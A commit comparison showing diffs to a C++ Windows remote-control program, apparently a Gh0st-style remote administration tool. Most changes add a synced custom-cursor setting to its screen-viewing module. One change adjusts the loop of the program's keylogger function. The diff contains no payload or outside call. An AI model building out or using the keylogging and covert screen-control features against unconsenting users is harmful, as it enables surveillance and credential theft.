Compare commits
2 Commits
a646e0417d
...
f24e7acc48
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f24e7acc48 | ||
|
|
0cd7516bde |
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||
return -1;
|
||||
}
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
#else
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
|
||||
@@ -155,6 +155,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
|
||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||
m_ScreenSettings.QualityLevel = quality;
|
||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
@@ -934,6 +935,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ScreenSettings.RemoteCursor = remoteCursor;
|
||||
break;
|
||||
}
|
||||
case CMD_CUSTOM_CURSOR: {
|
||||
int CustomCursor = szBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetInt("settings", "CustomCursor", CustomCursor);
|
||||
m_ScreenSettings.CustomCursor = CustomCursor;
|
||||
break;
|
||||
}
|
||||
case CMD_MULTITHREAD_COMPRESS: {
|
||||
int threadNum = szBuffer[1];
|
||||
m_ClientObject->SetMultiThreadCompress(threadNum);
|
||||
|
||||
@@ -316,6 +316,7 @@ enum {
|
||||
COMMAND_QUERY_LOG = 155,
|
||||
TOKEN_REPORT_LOG = 156,
|
||||
COMMAND_FORBIDDEN = 157,
|
||||
CMD_CUSTOM_CURSOR = 158,
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
@@ -1305,7 +1306,8 @@ typedef struct ScreenSettings {
|
||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||
int EncodeLevel; // 偏移 48, 编码等级
|
||||
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
||||
int CustomCursor; // 偏移 52, 自定义光标
|
||||
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
|
||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||
} ScreenSettings; // 总大小 100 字节
|
||||
|
||||
|
||||
@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
||||
return FALSE;
|
||||
}
|
||||
iniFile cfg;
|
||||
int bits = cfg.GetInt("auth", "bits", 64);
|
||||
const int currentBits = sizeof(int*) * 8;
|
||||
if (bits != currentBits) {
|
||||
Mprintf("[InitInstance] 运行%d位程序,上次运行为%d位\n", currentBits, bits);
|
||||
cfg.SetInt("auth", "bits", currentBits);
|
||||
cfg.SetStr("auth", "version", "");
|
||||
}
|
||||
|
||||
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||
|
||||
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
||||
// 确保是正常模式(服务端已设置,这里再次确保)
|
||||
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
||||
THIS_CFG.SetStr("auth", "version", "");
|
||||
runNormal = 1;
|
||||
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
||||
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
||||
|
||||
@@ -754,7 +754,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_ENABLE_SSE2, m_Settings.CpuSpeedup == 1 ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_FAST_STRETCH, GetFastStretchMode() ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_bUseCustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_Settings.CustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
|
||||
CMenu fpsMenu;
|
||||
if (fpsMenu.CreatePopupMenu()) {
|
||||
@@ -1368,7 +1368,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
||||
m_dwCustomCursorHash = hash;
|
||||
|
||||
// 如果当前正在使用自定义光标,立即更新显示
|
||||
if (m_bCursorIndex == 254 && m_bIsCtrl && m_bUseCustomCursor) {
|
||||
if (m_bCursorIndex == 254 && m_bIsCtrl && m_Settings.CustomCursor) {
|
||||
if (m_Settings.RemoteCursor) {
|
||||
// RemoteCursor 模式:触发重绘以显示新光标
|
||||
Invalidate(FALSE);
|
||||
@@ -1448,7 +1448,7 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
||||
HCURSOR cursor;
|
||||
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
||||
cursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||
cursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
|
||||
cursor = LoadCursor(NULL, IDC_ARROW);
|
||||
} else {
|
||||
@@ -1912,7 +1912,7 @@ void CScreenSpyDlg::OnPaint()
|
||||
// 2. 获取光标句柄(支持自定义光标)
|
||||
HCURSOR hCursor;
|
||||
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
||||
hCursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||
hCursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
|
||||
hCursor = LoadCursor(NULL, IDC_ARROW);
|
||||
} else {
|
||||
@@ -2186,17 +2186,19 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
break;
|
||||
}
|
||||
case IDM_CUSTOM_CURSOR: {
|
||||
m_bUseCustomCursor = !m_bUseCustomCursor;
|
||||
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_bUseCustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
m_Settings.CustomCursor = m_Settings.CustomCursor ? FALSE : TRUE;
|
||||
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_Settings.CustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
// 如果当前是自定义光标,立即更新显示
|
||||
if (m_bCursorIndex == 254 && m_bIsCtrl) {
|
||||
HCURSOR cursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||
HCURSOR cursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||
if (m_Settings.RemoteCursor) {
|
||||
Invalidate(FALSE);
|
||||
} else {
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)cursor);
|
||||
}
|
||||
}
|
||||
BYTE cmd[4] = { CMD_CUSTOM_CURSOR, m_Settings.CustomCursor };
|
||||
m_ContextObject->Send2Client(cmd, sizeof(cmd));
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
@@ -277,7 +277,6 @@ public:
|
||||
HCURSOR m_hRemoteCursor = NULL;
|
||||
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
|
||||
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
|
||||
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
|
||||
CRect m_CRect;
|
||||
double m_wZoom=1, m_hZoom=1;
|
||||
int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素)
|
||||
|
||||
Reference in New Issue
Block a user